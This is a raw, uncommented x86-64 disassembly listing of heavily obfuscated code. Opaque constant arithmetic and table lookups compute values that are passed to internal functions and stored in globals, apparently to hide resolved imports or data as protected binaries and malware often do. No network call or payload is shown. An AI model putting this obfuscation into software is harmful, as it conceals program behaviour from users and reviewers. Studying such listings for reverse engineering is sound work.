mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 0x50
mov rax, qword [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x38]
mov r8, qword [rbp - 0x30]
mov rdx, qword [rsp + 0x70]
lea rcx, section..data
call r15
nop
mov rcx, qword [rsp + 0x70]
xor edx, edx
test rcx, rcx
je 0x14000a061
mov eax, edx
cmp qword [rsp + 0x78], rdx
jbe 0x14000a061
mov byte [rcx + rax], dl
inc rax
cmp rax, qword [rsp + 0x78]
jae 0x14000a061
mov rcx, qword [rsp + 0x70]
jmp 0x14000a04d
mov dword [rsp + 0x38], edx
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x14000a089
mov rax, rdx
cmp qword [rbp - 0x78], rdx
jbe 0x14000a089
mov byte [rcx + rax], dl
inc rax
cmp rax, qword [rbp - 0x78]
jae 0x14000a089
mov rcx, qword [rbp - 0x80]
jmp 0x14000a077
mov dword [rsp + 0x3c], edx
movabs rax, 0xe6f37dbdf145014c
mov r8, qword [0x140301070]
imul r8, rax
not r8
movabs rcx, 0x1c989181f1226502
mov rsi, qword [0x140301060]
mov rax, rsi
xor rax, rcx
and r8, rax
ror r8, 0x2f
shr r8, 8
mov r10, qword [0x140301078]
movabs rax, 0x314f7bb8580c7690
mov r9, r10
imul r9, rax
movabs r13, 0x2d9d00559bf90fb0
add r9, r13
movabs rax, 0x4e6bed3480000000
xor r9, rax
shr r9, 0x1f
not r9
movabs r11, 0xd262ffaa6406f050
lea rcx, [r9 + r11]
movabs r12, 0xaaaaaaaaaaaaaaab
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r9b
lea rdx, [0x140301060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xbf
mov r15d, 0x8000003f
and ecx, r15d
jge 0x14000a159
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rax, r9
ror rax, cl
not rax
movabs rcx, 0x7af0b23e65c2ddd0
mov r14, rax
imul r14, rcx
lea rdi, [r14 + r11]
mov r11, r9
imul r11, r8
sub r11, rdi
movabs rcx, 0x287dcfc31047af00
imul rax, rcx
movabs rcx, 0x104bf62ea5561900
sub rax, rcx
xor r11, rax
mov rax, rdi
sub rax, r10
xor r11, rax
movabs rax, 0x8667eaf1e4838989
xor r11, rax
mov r10, r11
imul r10, qword [0x140301080]
and r10, rsi
movabs rax, 0xe3676e7e0b7f09ca
xor r10, rax
ror r10, 0xa
imul r10, rdi
not r8
imul r8, r9
movabs rax, 0x7cd8a7de79f14342
imul r8, rax
imul rbx, rsi, 0xfffffffffa5d6cc8
mov rdx, qword [0x140301068]
sub rbx, rdx
mov al, r8b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, r15d
jge 0x14000a217
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rbx, cl
lea rcx, [r14 + rbx]
imul rcx, r13
movabs rax, 0x104bf62ea5561900
sub rcx, rax
not rdi
imul rcx, rdi
imul rcx, r11
movabs rax, 0xf5ed7e878e090353
xor r9, rax
not r9
xor rcx, r9
xor r10, r8
imul r10, rsi
sub rcx, r10
call fcn.140001480
mov qword [0x14030af80], rax
movabs rax, 0x54e1684aede00000
movabs r14, 0xf16f11cfe6364006
movabs r11, 0x8117ee910923d25
mov rbx, qword [0x140301080]
imul rbx, rax
movabs rax, 0x9dcde095e0d00000
xor rbx, rax
mov r13, rbx
imul r13, r11
mov rax, r12
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r9, rbx
and r9, r11
lea r8, [0x140301060]
imul r9, qword [r8 + rcx*8]
movabs rax, 0x2e10ab2a95c95864
imul r9, rax
movabs rax, 0xe756e90d30b7b60f
xor r9, rax
shr r9, 3
movabs rax, 0xffffff57ca652f21
mov rdi, rbx
imul rdi, rax
sub rdi, 0x6ae069a
xor rdi, r9
xor rdi, qword [0x140301060]
mov rax, r9
imul rax, qword [0x140301070]
movabs rcx, 0xb9de928bc3d69000
imul rax, rcx
not rax
and rdi, rax
ror rdi, 0x14
shr rdi, 8
movabs r10, 0xf7ee8116ef6dc2db
lea rcx, [rbx + r10]
xor rcx, 0xfffffffffd589b0d
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x5e476178414e9d80
mov rsi, qword [r8 + rcx*8]
imul rsi, rax
add rsi, r11
movabs rcx, 0xba2815385a12bb78
mov rax, r9
imul rax, rcx
xor rsi, rax
shr rsi, 0x1f
not rsi
mov r15, rsi
xor r15, rbx
lea rcx, [rsi + r10]
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, sil
movzx ecx, byte [r8 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x11
and ecx, 0x8000003f
jge 0x14000a3c9
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r9
imul r12, r15, 0xfffffffff951f966
add r10, r12
mov r8, rsi
imul r8, rdi
sub r8, r10
xor r8, r14
mov cl, r10b
xor cl, 0xfe
and cl, 0xf
rol r8, cl
movabs rax, 0x3b380942d7259be
imul r15, rax
movabs rax, 0x719fab77933158a7
add r15, rax
xor r8, r15
mov rax, r10
sub rax, qword [0x140301078]
xor r8, rax
xor r8, r9
xor r8, rbx
mov rax, r8
and eax, 1
xor rax, 2
je 0x14000a76e
sub rax, 1
je 0x14000a63d
sub rax, 1
je 0x14000a548
cmp rax, 1
jne 0x14000a81e
mov r14, r10
imul r14, rsi
movabs rax, 0xac5bafed6935093b
add rax, r8
xor r14, rax
ror r14, 0x2e
shr r14, 0xc
xor r14, rbx
not r14
movabs rcx, 0x835721279e06
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0xf76c046e85517c5b
xor rdx, rax
movzx eax, r8b
movzx ecx, r14b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db979c772f9
sub rax, rsi
mov rsi, rdx
xor rsi, rax
mov rcx, rsi
imul rcx, r11
mov eax, 0xa81ca013
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs r11, 0xf7628e795ac579ce
sub r11, r14
shr r11, cl
movabs rcx, 0xf7f6a59f4a0693bb
add rcx, r12
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r8
imul rax, qword [r13 + rcx*8]
imul rax, r8
sub rax, rdi
xor r11, rax
jmp 0x14000a81e
movabs rax, 0xaaaaaa1aa8055d2d
mov rcx, r8
xor rcx, rax
movabs rax, 0x1206ed6a088161
imul rcx, rax
movabs rdx, 0xfff17ca87f676b51
mov rax, r9
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8a8e156ff1
imul r12, rax
movabs rsi, 0x7568511701ddd51c
add rsi, rcx
add rsi, r12
movabs rax, 0x277cd7be7ad58a4d
mov rcx, rsi
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r10, rsi
not r10
lea rax, [0x140301060]
imul r10, qword [rax + rcx*8]
xor r10, 0xfffffffffd508bfd
lea ecx, [r8 - 0x11]
and cl, 0x3f
rol r10, cl
movabs rax, 0x3835c600000000
xor r13, rax
movabs rax, 0x7c7a7dc69457814c
and r13, rax
imul r10, r13
mov rcx, r10
ror rcx, 0x36
not rcx
movabs rax, 0x9b2de6b2d4e421a8
imul rcx, rax
mov rax, rsi
sub rax, r10
lea rdx, [rcx + rax*4]
mov cl, dil
and cl, 0x3f
ror rdx, cl
mov rax, r11
mov r11, rdx
imul r11, rax
jmp 0x14000a81e
movabs rax, 0x3ff0acd3757238ed
imul r8, rax
movabs rax, 0xd79435e50d79435f
mul r8
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r8b
sub cl, dl
movabs rdx, 0xf7ee8116ef6dc2da
mov rax, rbx
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r9, rax
mov cl, r10b
and cl, 0x3f
rol r9, cl
movabs rcx, 0xf7ee8116ef6dc2db
add rcx, r8
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xfffffee910923d25
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r9, rax
movabs rax, 0xffffc7a7f4c12b00
or r9, rax
mov r11, qword [0x140301070]
imul r11, r14
sub r11, r10
mov rax, rdi
sub rax, r9
xor r11, rax
movabs rax, 0xc7a7c6a6a5c92b0d
xor r11, rax
movabs rax, 0xcccccccccccccccd
mul rbx
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rbx
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, r11
div rcx
mov rcx, rdx
mov rdx, r8
imul rdx, r10
imul rdx, r11
shr rdx, cl
mov rax, rsi
sub rax, rdx
sub rax, rbx
movabs rbx, 0x78958946a9b6717
add rbx, rax
xor rbx, rdi
movzx eax, sil
imul ecx, eax, 0xe8
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x14000a81e
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r9
sub rcx, rax
mov rax, r8
imul rax, qword [0x140301080]
lea rdx, [0x140301060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r9
and r9b, 0x3f
mov cl, r9b
mov r9, rdx
ror r9, cl
imul r9, r10
not rdi
imul rdi, rsi
movabs rax, 0x7cd8a7de78387aec
imul rdi, rax
mov rax, r9
imul rax, rbx
mov rbx, rdi
xor rbx, rax
imul rdi, qword [0x140301060], 0xfffffffff951f966
mov rdx, qword [0x140301068]
sub rdi, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x14000a80b
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rdi, cl
movabs rax, 0xf7ee8116ef6dc2db
add rdi, rax
add rdi, r12
movabs rax, 0xff055d7b88737021
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r9, rbx
lea rbx, [0x140301060]
imul r9, qword [rbx + r14*8]
not r10
imul r10, r8
imul r10, rdi
imul r10, r11
movabs rcx, 0xf5ed7e878fc03afd
xor rcx, rsi
not rcx
xor rcx, r10
sub rcx, r9
call fcn.1400013cc
mov qword [0x14030af48], rax
movabs rdi, 0x611a34837c973ee7
movabs rax, 0xc0d3f1d3a0000000
movabs r11, 0xf85cf664ec20d3b6
mov rsi, qword [0x140301070]
imul rsi, rax
movabs rax, 0xce1d0ad5d0000000
xor rsi, rax
mov r13, rsi
imul r13, rdi
movabs r10, 0xaaaaaaaaaaaaaaab
mov rax, r10
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r9, rsi
and r9, rdi
imul r9, qword [rbx + rcx*8]
movabs rax, 0xc8fdc884ec6d6d2c
imul r9, rax
movabs rax, 0xd97d11fc2e0509df
xor r9, rax
shr r9, 3
movabs rax, 0xffffff57f5bcdc71
mov r14, rsi
imul r14, rax
sub r14, 0x556b15e
xor r14, r9
xor r14, qword [0x140301060]
mov rax, r9
imul rax, qword [0x140301070]
movabs rcx, 0xb9de928bfc0f6350
imul rax, rcx
not rax
and r14, rax
ror r14, 6
shr r14, 8
movabs r8, 0x9ee5cb7c8368c119
lea rcx, [rsi + r8]
xor rcx, 0xffffffffc281685d
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x8e217f52a1907120
mov rbx, qword [rbx + rcx*8]
imul rbx, rax
add rbx, rdi
movabs rcx, 0x36fd093034fc74e8
mov rax, r9
imul rax, rcx
xor rbx, rax
shr rbx, 0x1f
not rbx
mov r15, rbx
xor r15, rsi
lea rcx, [rbx + r8]
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, bl
lea rdx, [0x140301060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x41
and ecx, 0x8000003f
jge 0x14000a9f4
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r9
imul r12, r15, 0xfffffffffaa94ea2
add r8, r12
mov r10, rbx
imul r10, r14
sub r10, r8
xor r10, r11
mov cl, r8b
xor cl, 0xfe
and cl, 0xf
rol r10, cl
mov rax, r8
sub rax, qword [0x140301078]
xor r10, rax
movabs rax, 0x476ff8a095f302e
imul r15, rax
movabs rax, 0x5e716b50bf6b471
sub r15, rax
xor r10, r15
xor r10, r9
xor r10, rsi
mov rax, r10
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x14000ad98
sub rax, 1
je 0x14000ac68
sub rax, 1
je 0x14000ab73
cmp rax, 1
jne 0x14000ae49
mov r11, r8
imul r11, rbx
movabs rax, 0xc4095a6c63722e09
add rax, r10
xor r11, rax
ror r11, 0x3e
shr r11, 0xc
xor r11, rsi
not r11
movabs rcx, 0x83571efe6d56
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0x9e674e04d68d8cc9
xor rdx, rax
movzx eax, r11b
movzx ecx, r10b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db9461e81a9
sub rax, rbx
mov rbx, rdx
xor rbx, rax
mov rcx, rbx
imul rcx, rdi
mov eax, 0x97c55343
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rdi, 0x45e3f5fa84f6bcf0
sub rdi, r11
shr rdi, cl
movabs rcx, 0x9eedf004e8a9e4a9
add rcx, r12
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
imul rax, qword [r13 + rcx*8]
imul rax, r10
sub rax, r14
xor rdi, rax
jmp 0x14000ae49
movabs rax, 0xaaaaaa1a97dcae7d
mov rcx, r10
xor rcx, rax
movabs rax, 0x1206ed55d17231
imul rcx, rax
movabs rdx, 0xfff17ca840be9801
mov rax, r9
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8ab1cc9ca1
imul r12, rax
movabs rbx, 0xd901e2635545495a
add rbx, rcx
add rbx, r12
movabs rax, 0x277cd7be450c791d
mov rcx, rbx
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r8, rbx
not r8
lea rax, [0x140301060]
imul r8, qword [rax + rcx*8]
xor r8, 0xffffffffc28978ad
lea ecx, [r10 - 1]
and cl, 0x3f
rol r8, cl
movabs rax, 0xe3ffe7b974718de3
xor r13, rax
movabs rax, 0x7c7a7dc6ab8e721c
and r13, rax
imul r8, r13
mov rcx, r8
ror rcx, 0x16
not rcx
movabs rax, 0x9b2de6b22b83ece8
imul rcx, rax
mov rax, rbx
sub rax, r8
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rdi
mov rdi, rdx
imul rdi, rax
jmp 0x14000ae49
movabs rax, 0x46adcd1cf510c4d5
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0x9ee5cb7c8368c118
mov rax, rsi
imul rax, rdx
xor rax, r11
not rax
shl rax, cl
xor r9, rax
mov cl, r8b
and cl, 0x3f
rol r9, cl
movabs rcx, 0x9ee5cb7c8368c119
add rcx, r10
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xfffff4837c973ee7
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r9, rax
movabs rax, 0xffffc7a7cb18d850
or r9, rax
mov rdi, qword [0x140301070]
imul rdi, r11
sub rdi, r8
mov rax, r14
sub rax, r9
xor rdi, rax
movabs rax, 0xc7a7c6a69a10d85d
xor rdi, rax
movabs rax, 0xcccccccccccccccd
mul rsi
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rsi
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rdi
div rcx
mov rcx, rdx
mov rdx, r10
imul rdx, r8
imul rdx, rdi
shr rdx, cl
mov rax, rbx
sub rax, rdx
sub rax, rsi
movabs rsi, 0x789589455429447
add rsi, rax
xor rsi, r14
movzx eax, bl
imul ecx, eax, 0xf8
and cl, 0x3f
rol rsi, cl
not rsi
jmp 0x14000ae49
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r9
sub rcx, rax
mov rax, r10
imul rax, qword [0x140301080]
lea rdx, [0x140301060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r9
and r9b, 0x3f
mov cl, r9b
mov r9, rdx
ror r9, cl
imul r9, r8
not r14
imul r14, rbx
movabs rax, 0x7cd8a7de47e189bc
imul r14, rax
mov rax, r9
imul rax, rsi
mov rsi, r14
xor rsi, rax
imul r14, qword [0x140301060], 0xfffffffffaa94ea2
mov rdx, qword [0x140301068]
sub r14, rdx
mov al, sil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x14000ae36
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0x9ee5cb7c8368c119
add r14, rax
add r14, r12
movabs rcx, 0xff055d7bb7aa8371
xor r11, rcx
movabs rax, 0xaaaaaaaaaaaaaaab
mul r11
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r11, rax
xor r9, rsi
lea rax, [0x140301060]
imul r9, qword [rax + r11*8]
not r8
imul r8, r10
imul r8, r14
imul r8, rdi
movabs rcx, 0xf5ed7e87b019c9ad
xor rcx, rbx
not rcx
xor rcx, r8
sub rcx, r9
call fcn.1400012ac
mov qword [0x14030af78], rax
and qword [rsp + 0x48], 0
movabs rax, 0xa490c778fd8df7e9
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
add rax, 0x6b03
movabs rcx, 0x90553662530994c1
xor rax, rcx
sub rax, qword [0x140301050]
sub rax, qword [0x140301058]
movabs rcx, 0xedf047f596dc5b5
sub rax, rcx
movabs rcx, 0xec33204e798f3b0f
xor rax, rcx
sub rax, qword [0x140301048]
movabs rcx, 0x16468673db8c4fdb
add rcx, rax
mov rdx, qword [0x140301040]
add rcx, rdx
movabs rax, 0xec3316b527f50e07
xor rcx, rax
movabs rax, 0x13cce94a41eaafc2
sub rcx, rax
movabs rax, 0xffd8662d613da9c9
xor rcx, rax
movabs rax, 0x27be20fac6d713b5
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ad80af1f2
mov rax, qword [0x140301038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b527f50e0d
mov rcx, qword [0x140301030]
xor rcx, rax
movabs rax, 0x13cc22b59fe3a4c7
add rax, rdx
add rax, rcx
movabs rcx, 0xdd723a0cfc63854a
xor rax, rcx
mov qword [rsp + 0x48], rax
and qword [rsp + 0x48], 0
mov rbx, qword [rsp + 0x248]
add rsp, 0x200
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret